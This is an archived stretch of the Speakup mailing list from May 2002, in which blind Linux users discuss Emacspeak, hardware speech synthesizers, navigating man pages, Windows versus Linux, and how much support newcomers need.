over telnet--but I doubt JFW is all that great as a telnet
client's screen review program. Also, the default Microsoft
telnet is pretty lame. I would think this setup is fraught with
frustration.

So, emacspeak with that DEC Talk is probably his smartest option
right now, with the telnet as a back up to avoid rebooting.

I have also suggest yasr and eflite, but he's insisting on
nothing less than Eloquence for free, so the DEC Talk is probably
the best compromise.

Another option would be a better screen reader for telnet and a
better telnet client. That would mean a good DOS screen reader
like asap or Vocal-Eyes, assuming he can actually run DOS on that
Windows machine. Neither of those is very cheap, though, and
spending that much money would be dumb, because he could get a
good Doubletalk for less than the cost of that software.

On Sun, 19 May 2002, Gregory Nowak wrote:

> We're all assuming he's using speakup since he's here. But from all of
Tedy's comments in other posts, I am beginning to get the impression that
he's not, since he seems to be asking for screen readers which support
software tts.
> Greg
>
>
> On Sun, May 19, 2002 at 10:58:09PM -0400, Deedra Waters wrote:
> > Try man < emacs|less then use the speakup keys to read line by line, or
> > word by word if you wish. you can bring up the next page by hitting the
> > space bar.
> >
> >
> > On Mon, 20 May 2002, Octavian Rasnita wrote:
> >
> > > Please enlighten me.
> > > I never used the Jaws cursor in the new HTML help  format under
Windows.
> > > Select an item in the tree view, press enter, then press F6 and it
will
> > > automaticly start reading that help item. It is a simple HTML file
there,
> > > and it works exactly as simple as Internet Explorer.
> > > You don't need the Jaws cursor at all.
> > >
> > > You needed the Jaws cursor only for some bad designed help files in
the old
> > > .hlp format.
> > > Now in the new .chm format, you don't have any problems.
> > >
> > > But this doesn't matter too much. Please tell me how to navigate the
man
> > > pages.
> > > I type man mv, for example.
> > > It starts to print all the help file, but maybe I want to move with a
page
> > > up then down, etc.
> > >
> > > I know this is possible. Thanks.
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Sunday, May 19, 2002 8:05 AM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > SNIP
> > > > > You open a window, and it explains you what you should do there.
> > > > > You have to press the space bar to check some checkboxes, to press
some
> > > > > buttons, etc, and if you don't know something, press shift+f10 (or
the
> > > right
> > > > > mouse button and choose "what's this?" or press F1 to view the
help file
> > > > > wich is much much more easier to navigate than the man pages under
> > > Linux.
> > > SNIP
> > >
> > > A fake.
> > > man pages under GNU/Linux are a lot easier to navigate than windows
help
> > > pages.
> > > you need to route the jaws cursor to the pc and then fart around
trying to
> > > find what you were looking for.
> > > even with the new features in jfw I seriously doubt you could navigate
a
> > > help file easier than a man page..
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Kerry Hoath]

awwwwwwww shucks :-) that at least cheers me up emensely.
It's not just this list; it seems that the new breed of IT people aren't
like us oldschool bunch.
I remember the net before the world wide web; when archie
was the search tool of choice. I don't want to go back
to those days; but it is interesting to reflect on.

Regards, Kerry.
On Sun, May 19, 2002 at 02:41:59PM -0400, Janina Sajka wrote:
> > On Sun, May 19, 2002 at 05:59:58PM +0800, Kerry Hoath wrote:
> 
> > > Maybe I am becoming disalusioned, but it seems so many people these days have
> > > no desire to know how things work, I mean really work.
> 
> Kerry:
> 
> I suspect some of this desire to remain ignorant becomes more
> prevalent when something becomes more popular. But, please don't
> become disillusioned with us here on this list. I'm sure I'm not
> the only one that really appreciates your thoughtful and precise
> posts. Your name comes up frequently in my saved folders because
> of the knowledge and support you've provided here. I just want
> you know that I, for one, appreciate you.
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 

-- 
Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or  kerry@gotss.spice.net.au
ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au

Re: interesting experiment.

[Kerry Hoath]

Yes it does work offline actually or there is an offline mode.
Just send your query text in the body of a message to
google@capeclear.com and you'll get  your results back.
Regarding not beeing online all the time; do what I did and
get another phone line. Not all of us worldwide have cable
and especially not in Australia. Alternatively wait for v.92
that has the ability to put modem calls on hold and supports call waiting and
phase 2 caller ID whilst you are online.
On Mon, May 20, 2002 at 05:16:32AM +0300, Octavian Rasnita wrote:
> Ha ha, thank you!
> Google? Does it work offline?
> 
> Cheers.
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message ----- 
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 8:37 PM
> Subject: Re: interesting experiment.
> 
> 
> All right, Newbies, Listen Up!
> 
> There's something called Google. It's your friend. You use it
> with your favorite web browser. It's real easy and it's lynx
> friendly. And, it finds the answers to almost all of the "where
> do I find" questions I've seen on this list in the last 6 months,
> and puts them on the first screen of results.
> 
> Learn to use Google. Keep it open in a second console.
> 
> The field where you type in your search string is the fourth
> field on the main Google screen. The submit button is the next
> field.
> 
> This is not rocket science. It isn't even hard.
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 

-- 
Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or  kerry@gotss.spice.net.au
ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au

Re: interesting experiment.

[Kerry Hoath]

Can we please start trimming down messages to this list? there are posts
that contain 200-300 lines of text and a
"go read the docs" or "me too" at the top.
Surely we don't need the message all the way back to the dawn of the thread?
It wastes space in the archives.

Regards, Kerry.
On Mon, May 20, 2002 at 05:17:53AM +0300, Octavian Rasnita wrote:
> Are these programs free? Do you have a web site address  where I can
> download them?
> 
> Thanks.
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 8:43 PM
> Subject: Re: interesting experiment.
> 
> 
> Alex:
> 
> There's both ecasound and sox, and they're both very powerful.

-- 
Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or  kerry@gotss.spice.net.au
ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au

Re: interesting experiment.

[Shaun Oliver]

SNIP!
>
> I suspect some of this desire to remain ignorant becomes more
> prevalent when something becomes more popular. But, please don't
> become disillusioned with us here on this list. I'm sure I'm not
> the only one that really appreciates your thoughtful and precise
> posts. Your name comes up frequently in my saved folders because
> of the knowledge and support you've provided here. I just want
> you know that I, for one, appreciate you.
SNIP!
>
>
Make that me too janina I have a text file here totally devoted to kerry's
emails.
considering I'll be doing my certificate 4 in network management this next
2 years, I think I'll be drawing not only on kerry's knowledge but
everyone here on this list.
 >
_______________________________________________ > Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: Why Windows?

[David Poehlman]

I do not understand this message.  how can ie open notepad unless you
ask for the source and then it is designed to do that.
----- Original Message -----
From: "Octavian Rasnita" <orasnita@home.ro>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 10:32 PM
Subject: Re: Why Windows?


Yes you're right.
I have an HTML page and if you open it from a web site in Internet
explorer,
it opens you the Notepad.
Internet Explorer, is not very secure, of course.

But I think there are problems with Unix also.
Go to www.astalavista.com and you will find some tutorials about how to
crack Unix, etc.
I don't know if they work because I haven't tried it, but ...

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Rich Caloggero" <rjc@MIT.EDU>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 11:05 AM
Subject: Why Windows?


OK, I think windows exists for sighted people. I think that blind people
need to use windows if they are doing sys-admin or other tasks which
require
them to interact with windows, or dare I say, help a sighted person use
their friendly little crash-prone boxes! <smile> I often think that the
reason windows is so unstable is to keep us sys-admins employed!
Hehehehehahahahe!

Actually, I heard an interesting windblows tidbit the other day. In
windows
3.1, there was a concept called Object Linking and Embeding (OLE). It
allows
one to put, say, a sound file within a spreadsheet, and embed all that
within something else. In fact, this is what XML does for you, but those
were the days long before XML. Anyhow, they were also the days before
the
internet became widely popular. The problem was that OLE was not at all
secure. When the internet became more widely used, and malware began to
spread, people realized that this stuff was very insecure. So Microsoft
began building layer on top of layer to try and address these issues. By
the
time the security problems were becomign more widely exployted,
Microsoft
had traveled too far down the OLE path, and could not give it up. I
forget
what all the crap on top of OLE was called, but the dot net stuff is
merely
another layer on top of the broken OLE, so Microsoft security issues
will
forever be rearing their ugly heads, and Microslop will have to patch
every
single one of them!! Hahahahehehehehehaha!

                    Rich

----- Original Message -----
From: "Deedra Waters" <curi0315@tampabay.rr.com>
To: <speakup@braille.uwo.ca>
Sent: 19 May, 2002 1:24 AM
Subject: Re: interesting experiment.


I think honestly that if beginners have an easy start it may help some
in
the long run. I honestly think that there are some people who want to
learn but are having a hard time in which case, helping them can be
useful.

I'm bad at sitting and reading manpage after manpage trying to find
things, and I was even worse at the beginning. I had a great deal of
help
in the beginning, and there was a lot I  didn't understand.

I'm not really sure where I'm going with this accept to say that there
are
people who have a real hard time by just reading, and helping them, or
trying to walk them threw some things  doesn't always mean that they
need
to be spoonfead


On Sun, 19 May 2002, Toby Fisher wrote:

> On Sun, 19 May 2002, Octavian Rasnita wrote:
>
> > Hi, thank you.
> > No, I don't like Windows. I don't use to play games because I don't
have
the
> > time.
>
> Oh now you don't know what you're missing, I can recommend GMA Games
for
> one, for a bit of light relief.
>
> <snip>
>
> > But I also don't like to see a lot of people from this list, nor
> from any
> > list, thinking that Linux is better than Windows.
>
> Actually, if you look carefully at most of what you view to be
> anti-Windows comments, they are, in the main, aimed at the company
that
> spawned it.
>
> > Windows is better than Linux for multimedia development but
Macintosh is
> > even better than Windows  for this thing.
> >
> > Some Unix graphic stations are better probably than Macintosh for
their
> > purpose.
>
> Yes, but until very recently Macintosh had a problem with expensive
> hardware, for example, on some power macs there was only 1 make of
modem
> you could use because of the connection it required; guess what,
they're
> not made any more so my friend is going to have to buy a new computer,
> this is, imho, a potential problem which can arise when hardware and
> software are made by the same company, as used to happen back in the
big
> mainframe days.
>
> <snip>
>
> > I like the Linux users to be a kind of helpful community, because
> they are
> > not very many, especially blind, but all the experimented people in
linux
> > give the beginners criptical commands without explaining too much,
RTFM,
> > etc.
>
> I believe that there are reasons for this.
>
> First, what that person may want is a means to get up and running as
> hasle-free as possible.  Second, explanation of the command may, and
note
> I use the word may, cause confusion, until the person has read some
docs,
> which they may be unable to do due to whatever problem it is that has
> caused them to write to the list.
>
> Third, it does not help anyone, least of all the beginner, if they are
> spoon-fed, as they may then be unable to help themselves if they are
ever
> stuck without an internet connection, or otherwise unable to call on
> required assistance.
>
> Cheers.
>
> --
> Toby Fisher Email: toby@g0ucu.freeserve.co.uk
> Tel.: +44(0)1480 417272 Mobile: +44(0)7974 363239
> ICQ: #61744808
>    Please avoid sending me Word or PowerPoint attachments.
>    See http://www.fsf.org/philosophy/no-word-attachments.html
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>







_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup



_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: Why Windows?

[David Poehlman]

and they are correct.  they examine the pc and display only.

----- Original Message -----
From: "Octavian Rasnita" <orasnita@home.ro>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 9:42 PM
Subject: Re: Why Windows?


Agree. And if you go to Windows update page, they show you what sound
card,
motherboard, video card you have but they say that they don't take
private
information from your computer.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 8:40 PM
Subject: Re: Why Windows?


On Sun, 19 May 2002, Alex Snow wrote:

> I think winblows is spyware itself!

Indeed.

If you sign up for Passport you agree to let M$ track your
spending habits.

If you sign up for M$ Reader, you agree to let them know what
books you read.

Heck, they're probably going to know more about you than your
mother does.



_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup



_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Ann Parsons]

Hi Dan,

Here is the URL for the Emacspeak homepage.

Here is some information taken from the following URL.

http://www.enabling.org/akp/linux.html
http://emacspeak.sourceforge.net/

Have fun!

Ann P.


-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Ann Parsons]

Hi all,

Alex, there are several tools for this purpose.  There will be an
audio FAQ soon.

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.d

[Dan Murphy]

Ok, one more question.  Do I need a speech server for Double-talk, and
if so, where do I get it?
Thanks.
On Sun, 19 May 2002, Igor Gueths wrote:

> Hi Dan. If you have two hardware synths, running both in separate ttys will work. However, if you are using the same synth and Speakup is running, you're going to get i/o errors when you try to run both packages at the same time. One thing to try would be rebooting (I know Linux users like me hate rebooting their box), but you need to pass speakup_synth=none to lilo so that the dectalk module doesn't get loaded at boot time. Even if you hit print-screen to kill Speakup then run Emacspeak, this won't work because the Dectalk module doesn't give /dev/ttyS0 or whatever port you are using back to the kernel and say that its done with the device. I myself have been trying to correct this, but no success as of yet.
> ----- Original Message -----
> From: Dan Murphy <mweeby@earthlink.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 8:41 AM
> Subject: Re: interesting experiment.
>
>
> > Hi.  this may sound dumb, but where do I get Emacspeak?  I've been a
> > died-in-the-wool Speakup person for a long time, but I've heard that I
> > can run both simultaneously on different consoles, so now I'm curious.
> > thanks.
> > On
> > Sat, 18 May 2002, Ann Parsons wrote:
> >
> > > Hi All,
> > >
> > > Again, Emacspeak was configured and written for the DecTalk card.  Use
> > > it.
> > >
> > > Ann P.
> > >
> > > --
> > > Ann K. Parsons
> > > email:  akp@eznet.net ICQ Number:  33006854
> > > WEB SITE:  http://home.eznet.net/~akp
> > > "All that is gold does not glitter.  Not all those who wander are lost."  JRRT
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > Dan Murphy
> > mailto:mweeby@earthlink.net
> > Let us not look back in anger or forward
> > in fear, but around us in awareness.
> >                 -- James Thurber
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Dan Murphy
mailto:mweeby@earthlink.net
Let us not look back in anger or forward
in fear, but around us in awareness.
                -- James Thurber

Hackers

[Rich Caloggero]

A resounding "me too". The old-style hacker is really going out of style it
seems. But maybe its more than that. Maybe things are just getting
exponentially more complex, while also becoming more commercialized. I
remember working on unix in the 80s on a network of Apollo workstations. It
seemed I knew everything about those machines and the OS, right down to the
system calls. Now, over 15 years later, I find myself fighting just to keep
up with the technology, and find I know very little about any one thing.
Now, is that because I'm not 20 something anymore, or because there's just
that much more to know, etc. Still hesitate to call myself a true hacker
though; I'm just not that smart!

                    Rich

----- Original Message -----
From: "Kerry Hoath" <kerry@gotss.net>
To: <speakup@braille.uwo.ca>
Sent: 20 May, 2002 3:27 AM
Subject: Re: interesting experiment.


awwwwwwww shucks :-) that at least cheers me up emensely.
It's not just this list; it seems that the new breed of IT people aren't
like us oldschool bunch.
I remember the net before the world wide web; when archie
was the search tool of choice. I don't want to go back
to those days; but it is interesting to reflect on.

Regards, Kerry.
On Sun, May 19, 2002 at 02:41:59PM -0400, Janina Sajka wrote:
> > On Sun, May 19, 2002 at 05:59:58PM +0800, Kerry Hoath wrote:
>
> > > Maybe I am becoming disalusioned, but it seems so many people these
days have
> > > no desire to know how things work, I mean really work.
>
> Kerry:
>
> I suspect some of this desire to remain ignorant becomes more
> prevalent when something becomes more popular. But, please don't
> become disillusioned with us here on this list. I'm sure I'm not
> the only one that really appreciates your thoughtful and precise
> posts. Your name comes up frequently in my saved folders because
> of the knowledge and support you've provided here. I just want
> you know that I, for one, appreciate you.
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>

--
Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or
kerry@gotss.spice.net.au
ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au

Re: interesting experiment.

[Dan Murphy]

Thanks Ann.  I have been aware of Emacspeak for a long time, but when I
started using speakup I didn't worry about it, but now I'm curious
again.


Dan Murphy
mailto:mweeby@earthlink.net
Moon Of 3 Rings bbs: telnet://soltrath.dyndns.org

Re: interesting experiment.

[Ann Parsons]

Hi all,

Teddy, Terminal mode in Emacs is one of the things it doesn't do well,
and its documentation is not good.  Janina, can you help in this area?
I find I use Speakup for terminal apps rather than Emacspeak because
it is just so difficult.  However, if Teddy is using a software
synthe, he's going to have to learn about it.

Ann P.

P.S., I understand there's a lot of msgs here, and I've just started
replying.  I was AFK yesterday.
A.P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Charles Crawford]

         OK, now I need to speak from the view of the American council of 
the blind with respect to this thread.

         We want to see alternatives to the dominant Ms-Windows operating 
system and applications that are accessible and user friendly.  We realize 
there is a culture around Linux that we do not wish to displace or 
otherwise change, yet the culture demands a level of personal involvement 
and knowledge that is neither easy to obtain from the available resources 
nor easy to learn once those resources are found.  Hence, the participation 
of the wider blindness community is not likely unless there are new ways of 
learning and using Linux that maintain the accessibility and lack of 
expense that are so attractive.

         It is not a matter of telling folks to read the manual when the 
manual is prefaced upon an expectation of understanding that is greater 
than the average person starting out.  Neither is it helpful to assume that 
everyone is going to be able to prioritize their time to dedicate to Linux 
in the same way as others have.

         This is not a hobby.  It is an operating system for use by those 
who need the access and affordability of it.  So let's admit that we need 
to accommodate those interests and find a way to do it that is not 
threatening to the current community of users.

         For the reasons above, ACBH is attempting to find the resources to 
get the internal speech engine we need to put speakup inside the box with 
internal quality speech.  That will expand the user base because we won't 
be hunting around for hardware that is slowly disappearing.

         Next we need to look at the usability issue.  This does not mean 
we try and change the nature of Linux and it's syntax, but we do need to 
look at any avenues to either make it more easy for folks to learn the 
context through tutorials for example or possible other ways.

         In the end, Linux is a robust product that need not be seen as 
having only one road to access.  So let's stop making assumptions about the 
people who are only trying to use this cool operating system and start 
making an environment that supports all who want to use it.

-- Charlie Crawford.
At 04:34 PM 5/19/02 -0400, you wrote:
>I think that most people know how to search for things on the internet. I
>  think you need to stop and think about the fact that not all people are
>good at finding things and that's why we ask for help. If I could find all
>of the answers to my problems, I wouldn't be asking.:p  Before you start
>treating new people like their idiots, try to remember that we're all
>different, we all learn in different ways, and sometimes we miss stuff.
>
>
>
>On Sun, 19 May 2002, Janina Sajka wrote:
>
> > All right, Newbies, Listen Up!
> >
> > There's something called Google. It's your friend. You use it
> > with your favorite web browser. It's real easy and it's lynx
> > friendly. And, it finds the answers to almost all of the "where
> > do I find" questions I've seen on this list in the last 6 months,
> > and puts them on the first screen of results.
> >
> > Learn to use Google. Keep it open in a second console.
> >
> > The field where you type in your search string is the fourth
> > field on the main Google screen. The submit button is the next
> > field.
> >
> > This is not rocket science. It isn't even hard.
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
>_______________________________________________
>Speakup mailing list
>Speakup@braille.uwo.ca
>http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Ann Parsons]

Hi all,

Teddy, use emacs!  Emacs writes in ASCII!  Use it!

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Ann Parsons]

Hi all,

Teddy, what are you using as a web browser?  Lynx?  W3?  MSIE? 

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Ann Parsons]

Hi all,

This is the third time you've asked for a text editor under Linux.  

TRY EMACS IT WRITES IN TEXT, IT WRITES IN TEXT!!!!

Plus, you can compile your PERL PROGRAMS FROM WITHIN EMACS TOO.  

aNN p.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Ann Parsons]

Hi all,

What's wrong with just typing 'm-x shell'?  that will allow you to do
most shell commands.  You can not do a lot of regular apps, but if you
want to write a file, just start writing one by opening one up.  Try
c-x c-f file name.  It will put you in a buffer and you can write as
much as you want.  Give the file the right extension for a CGI program
or for a C program, and you can compile it from within emacs, using
emacspeak.  

For example, if you want to write the C program to make the terminal
echo "Hello World", you type:  

c-x c-f hello.c

from whithin emacs, and you type in your program.  Then, you use the
proper sequence to compile the program, I believe it is c-c c-c, could
be wrong, and the blessed program is compiled and you can run it.
Emacs will go into what is called 'text mode', when you give it the
proper file extension.  If you call a file 'test.txt' you will be
placed in text mode.  It will give you a lot of options from there.
Try 'c-h m' from any buffer in emacs and you can find out what
commands you can do?

Ann P.
 >>>>> "Octavian" == Octavian Rasnita <orasnita@home.ro> writes:

    Octavian> Of course, because that problem happend me for more
    Octavian> times.  I think I found a little problem but I am not
    Octavian> sure.

    Octavian> When it starts, emacspeak tell me that message that it
    Octavian> is functioning normally (BTW. How can I change that
    Octavian> message?)  and I don't care about that message and I
    Octavian> start pressing the normal shortcuts for launching the
    Octavian> terminal mode before it finishes the message. When I do
    Octavian> that, the terminal doesn't start.  If I let emacspeak to
    Octavian> finish its message, I can start it.

    Octavian> How can I stop the voice? What key should I press if I
    Octavian> want to stop the message?  I searched in the help file
    Octavian> but I couldn't find it.  Teddy, orasnita@home.ro


-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Ann Parsons]

Hi all,

No, you are not asking too much, but it isn't possible now.  Use
Emacspeak till you can get something better.

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Ann Parsons]

Teddy,

If you want to program, I suggest you learn emacs.  It will make your
life a lot easier!

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Charles Crawford]

         This is one major reason for us getting internal speech through 
speakup.  We will get there.

-- charlie.
At 12:48 AM 5/20/02 -0400, you wrote:
> From some of the comments he's made both  on and off list I get the
>impression that money is a major issue. meaning that he 1 can't afford to
>get a new synth to fully use speakup and 2 he can't afford to pay for
>software either.
>
>
>
>On Mon, 20 May 2002, Janina Sajka wrote:
>
> > Greg:
> >
> > I'm pretty sure he isn't using Speakup. He doesn't have a
> > supported synth. He telnets from his Windows machine, as I
> > recall, and he's tried using ViaVoice directly with emacspeak. Of
> > course, the latter is a very steep learning curve.
> >
> > Still, he's got the DEC Talk internal, and emacs with or without
> > emacspeak is worth learning. Without emacspeak, he can run it
> > over telnet--but I doubt JFW is all that great as a telnet
> > client's screen review program. Also, the default Microsoft
> > telnet is pretty lame. I would think this setup is fraught with
> > frustration.
> >
> > So, emacspeak with that DEC Talk is probably his smartest option
> > right now, with the telnet as a back up to avoid rebooting.
> >
> > I have also suggest yasr and eflite, but he's insisting on
> > nothing less than Eloquence for free, so the DEC Talk is probably
> > the best compromise.
> >
> > Another option would be a better screen reader for telnet and a
> > better telnet client. That would mean a good DOS screen reader
> > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > Windows machine. Neither of those is very cheap, though, and
> > spending that much money would be dumb, because he could get a
> > good Doubletalk for less than the cost of that software.
> >
> > On Sun, 19 May 2002, Gregory Nowak wrote:
> >
> > > We're all assuming he's using speakup since he's here. But from all 
> of Tedy's comments in other posts, I am beginning to get the impression 
> that he's not, since he seems to be asking for screen readers which 
> support software tts.
> > > Greg
> > >
> > >
> > > On Sun, May 19, 2002 at 10:58:09PM -0400, Deedra Waters wrote:
> > > > Try man < emacs|less then use the speakup keys to read line by line, or
> > > > word by word if you wish. you can bring up the next page by hitting the
> > > > space bar.
> > > >
> > > >
> > > > On Mon, 20 May 2002, Octavian Rasnita wrote:
> > > >
> > > > > Please enlighten me.
> > > > > I never used the Jaws cursor in the new HTML help  format under 
> Windows.
> > > > > Select an item in the tree view, press enter, then press F6 and 
> it will
> > > > > automaticly start reading that help item. It is a simple HTML 
> file there,
> > > > > and it works exactly as simple as Internet Explorer.
> > > > > You don't need the Jaws cursor at all.
> > > > >
> > > > > You needed the Jaws cursor only for some bad designed help files 
> in the old
> > > > > .hlp format.
> > > > > Now in the new .chm format, you don't have any problems.
> > > > >
> > > > > But this doesn't matter too much. Please tell me how to navigate 
> the man
> > > > > pages.
> > > > > I type man mv, for example.
> > > > > It starts to print all the help file, but maybe I want to move 
> with a page
> > > > > up then down, etc.
> > > > >
> > > > > I know this is possible. Thanks.
> > > > > Teddy,
> > > > > orasnita@home.ro
> > > > >
> > > > > ----- Original Message -----
> > > > > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > > > > To: <speakup@braille.uwo.ca>
> > > > > Sent: Sunday, May 19, 2002 8:05 AM
> > > > > Subject: Re: interesting experiment.
> > > > >
> > > > >
> > > > > SNIP
> > > > > > > You open a window, and it explains you what you should do there.
> > > > > > > You have to press the space bar to check some checkboxes, to 
> press some
> > > > > > > buttons, etc, and if you don't know something, press 
> shift+f10 (or the
> > > > > right
> > > > > > > mouse button and choose "what's this?" or press F1 to view 
> the help file
> > > > > > > wich is much much more easier to navigate than the man pages 
> under
> > > > > Linux.
> > > > > SNIP
> > > > >
> > > > > A fake.
> > > > > man pages under GNU/Linux are a lot easier to navigate than 
> windows help
> > > > > pages.
> > > > > you need to route the jaws cursor to the pc and then fart around 
> trying to
> > > > > find what you were looking for.
> > > > > even with the new features in jfw I seriously doubt you could 
> navigate a
> > > > > help file easier than a man page..
> > > > >
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > --
> >
> >                               Janina Sajka, Director
> >                               Technology Research and Development
> >                               Governmental Relations Group
> >                               American Foundation for the Blind (AFB)
> >
> > Email: janina@afb.net         Phone: (202) 408-8175
> >
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
>_______________________________________________
>Speakup mailing list
>Speakup@braille.uwo.ca
>http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Ann Parsons]

Hi all,

I have left this post in here because it is cogent and it applies
here.

Excuse me for speaking bluntly, but what is needed here is some
education mentality.  We've received several messages from one person
this morning who is trying his best to learn Linux.  He has to learn
